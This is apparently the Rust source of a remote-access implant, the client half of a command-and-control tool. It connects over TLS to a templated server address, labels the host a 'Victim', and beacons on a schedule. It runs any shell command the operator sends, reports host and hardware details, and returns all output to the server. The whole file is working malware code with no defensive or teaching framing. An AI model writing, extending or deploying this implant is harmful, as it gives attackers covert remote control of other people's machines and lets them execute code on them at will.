use rustls::ClientConfig;
use rustls::ClientConnection;
use rustls::RootCertStore;
use rustls::StreamOwned;
use rustls::pki_types::ServerName;
use std::collections::HashMap;
use std::error::Error;
use std::fs;
use std::io::BufReader;
use std::io::Read;
use std::io::Write;
use std::net::TcpStream;
use std::path::PathBuf;
use std::process::Command;
use std::sync::Arc;
use std::thread::spawn;
use std::time::Duration;
use std::time::Instant;
use sysinfo::*;

#[derive(Clone, Debug)]
pub struct Server {
    pub address: String,
    pub connected: bool,
    pub timer: Duration,
    pub config: Arc<ClientConfig>,
    pub last_check: Instant,
    pub message_que: Vec<String>,
    pub action_que: Vec<String>,
    pub client_id: usize,
    pub client_name: String,
    pub password: String,
    pub logged_in: bool,
}

impl Server {
    pub fn connect(&mut self) -> Result<usize, Box<dyn Error>> {
        let mut stream = self.tls_connect()?;
        stream.write("HELLO".as_bytes())?;
        let mut buf = [0; 8192];
        let bytes_read = stream.read(&mut buf)?;
        let response = String::from_utf8_lossy(&buf[..bytes_read]);
        if let Some((_, id)) = response.split_once("|") {
            self.client_id = id.trim().parse()?;
        }
        self.message_que
        .push(format!("SET_HOSTNAME|{}", self.client_name));
        self.connected = true;
        self.last_check = Instant::now();
        return Ok(self.client_id);
    }

    pub fn login(&mut self, pass: String) -> Result<(), Box<dyn Error>> {
        let mut stream = self.tls_connect()?;
        stream.write(format!("NONE**{}|||LOGIN|{}||", self.client_id, pass).as_bytes())?;
        let mut buf = [0; 8192];
        let bytes_read = stream.read(&mut buf)?;
        let response = String::from_utf8_lossy(&buf[..bytes_read]);
        if response.contains("successful") {
            self.password = pass;
            self.last_check = Instant::now();
            self.logged_in = true;
            return Ok(());
        } else {
            return Err("error logging in!".into());
        }
    }

    pub fn checkin(&mut self) {
        if self.logged_in {
            if let Ok(mut stream) = self.tls_connect() {
                self.last_check = Instant::now();
                let payload = format!(
                    "{}**{}|||{}\n",
                    self.password.clone(),
                                      self.client_id.clone(),
                                      self.message_que.join("||")
                );

                if let Err(e) = stream.write_all(payload.as_bytes()) {
                    self.action_que
                    .push(format!("Error|sending reponse output to server! {e}"));
                }
                self.message_que.clear();
                let mut buffer = [0; 4096];
                if let Ok(bytes_read) = stream.read(&mut buffer) {
                    if bytes_read > 0 {
                        let response = String::from_utf8_lossy(&buffer[..bytes_read]);
                        response.split("||").into_iter().for_each(|action| {
                            self.action_que.push(action.trim().to_string());
                            if action.contains("Not authenticated") {
                                self.logged_in = false;
                            }
                        });
                    }
                }
            }
        } else {
            let _ = self.login(self.password.clone());
        }
    }

    fn tls_connect(&self) -> Result<StreamOwned<ClientConnection, TcpStream>, Box<dyn Error>> {
        let config = self.config.clone();
        let tcp = TcpStream::connect(&self.address)?;
        let (host, _) = self.address.split_once(':').ok_or("Invalid address")?;
        let server_name = ServerName::try_from(host.to_string())?;
        let connection = ClientConnection::new(config, server_name)?;
        let tls_stream = StreamOwned::new(connection, tcp);
        Ok(tls_stream)
    }
}

fn main() -> Result<(), Box<dyn Error>> {
    let mut roots = RootCertStore::empty();
    let mut reader = BufReader::new("|||CERT|||".as_bytes());
    let certs = rustls_pemfile::certs(&mut reader).collect::<Result<Vec<_>, _>>()?;
    for cert in certs {
        roots.add(cert)?;
    }
    let client_config = ClientConfig::builder()
    .with_root_certificates(roots)
    .with_no_client_auth();
    let mut server = Server {
        address: "|||SERVER|||".to_string(),
        connected: false,
        timer: Duration::from_secs(1),
        last_check: Instant::now(),
        config: Arc::new(client_config),
        message_que: Vec::new(),
        action_que: Vec::new(),
        client_id: 0,
        client_name: "Victim1".to_string(),
        password: "|||PASSWORD|||".to_string(),
        logged_in: false,
    };
    let system = System::host_name();
    if let Some(hostname) = system {
        server.client_name = hostname;
    }
    let mut handles = HashMap::new();
    let mut handle_id = 0;
    let mut stop = false;
    loop {
        if !server.connected {
            let _ = server.connect();
        } else {
            if Instant::now().duration_since(server.last_check) >= server.timer {
                server.checkin();
                if !server.action_que.is_empty() {
                    for action in server.action_que.clone() {
                        if let Some((action, data)) = action.split_once("|") {
                            match action.trim() {
                                "CMD" => {
                                    let data = data.trim();
                                    let cmd;
                                    let mut args = Vec::new();
                                    if data.trim().contains(" ") {
                                        let (given_cmd, given_args) = data.split_once(" ").unwrap();
                                        cmd = given_cmd.to_string();
                                        given_args.split(" ").into_iter().for_each(|a| {
                                            args.push(a.to_string());
                                        });
                                    } else {
                                        cmd = data.trim().to_string();
                                    }
                                    match cmd.trim() {
                                        "set_sleep" => {
                                            if let Ok(secs) = args[0].parse::<u64>() {
                                                server.timer = Duration::from_secs(secs);
                                                server.message_que.push(format!(
                                                    "OUTPUT|Set sleep for {} seconds",
                                                    secs,
                                                ));
                                            } else {
                                                server.message_que.push("OUTPUT|Error parsing Seconds count from arguments.".to_string());
                                            }
                                        }
                                        "victim_info" => {
                                            server
                                            .message_que
                                            .push(format!("OUTPUT|Address:{}", server.address));
                                            server.message_que.push(format!(
                                                "OUTPUT|Timer:{}",
                                                server.timer.as_secs()
                                            ));
                                            server
                                            .message_que
                                            .push(format!("OUTPUT|ID:{}", server.client_id));
                                            server.message_que.push(format!(
                                                "OUTPUT|Hostname:{}",
                                                server.client_name
                                            ));
                                            let system = System::new_all();

                                            server.message_que.push(format!(
                                                "Available RAM:{}",
                                                system.free_memory()
                                            ));
                                            server.message_que.push(format!(
                                                "Num CPUs:{}",
                                                system.cpus().iter().count()
                                            ));
                                            server.message_que.push(format!(
                                                "Total RAM:{}",
                                                system.total_memory()
                                            ));
                                        }
                                        _ => {
                                            let mut command = Command::new(&cmd);
                                            if !args.is_empty() {
                                                args.iter().for_each(|a| {
                                                    command.arg(a);
                                                });
                                            }
                                            let handle = spawn(move || -> String {
                                                let mut out = String::new();
                                                let res = command.output();
                                                match res {
                                                    Ok(result) => {
                                                        if result.status.success() {
                                                            out.push_str(&format!(
                                                                "{} completed successfully!\n",
                                                                cmd
                                                            ));
                                                            if !result.stderr.is_empty() {
                                                                let err_string =
                                                                String::from_utf8_lossy(
                                                                    &result.stderr,
                                                                )
                                                                .to_string();
                                                                out.push_str(&format!(
                                                                    "errors: {}\n",
                                                                    err_string
                                                                ));
                                                            }
                                                            if !result.stdout.is_empty() {
                                                                let out_string =
                                                                String::from_utf8_lossy(
                                                                    &result.stdout,
                                                                )
                                                                .to_string();
                                                                out.push_str(&format!(
                                                                    "std_out: {}\n",
                                                                    out_string
                                                                ));
                                                            }
                                                        } else {
                                                            out.push_str(&format!(
                                                                "{} failed.\n",
                                                                cmd
                                                            ));
                                                            if !result.stderr.is_empty() {
                                                                let out_string =
                                                                String::from_utf8_lossy(
                                                                    &result.stderr,
                                                                )
                                                                .to_string();
                                                                out.push_str(&format!(
                                                                    "Errors: {}",
                                                                    out_string
                                                                ));
                                                            }
                                                        }
                                                    }
                                                    Err(e) => {
                                                        out.push_str(&format!(
                                                            "Error getting command: {e}"
                                                        ));
                                                    }
                                                }
                                                return out;
                                            });
                                            handles.insert(handle_id, Some(handle));
                                            handle_id += 1;
                                        }
                                    }
                                }
                                "DISCONNECT" => {
                                    stop = true;
                                }
                                _ => {}
                            }
                        }
                    }
                }
                server.action_que.clear();
            }
        }
        let mut finished = Vec::new();
        handles.iter_mut().for_each(|(id, h)| {
            if let Some(handle) = h.as_ref() {
                if handle.is_finished() {
                    finished.push(id.clone());
                }
            }
        });
        finished.iter().for_each(|id| {
            let handle_opt = handles.remove(id);
            if handle_opt.is_some() {
                let handle_opt_2 = handle_opt.unwrap();
                if handle_opt_2.is_some() {
                    let handle = handle_opt_2.unwrap();
                    if let Ok(output) = handle.join() {
                        server.message_que.push(format!("OUTPUT|{}", output));
                    }
                }
            }
        });
        if stop {
            break;
        }
    }
    Ok(())
}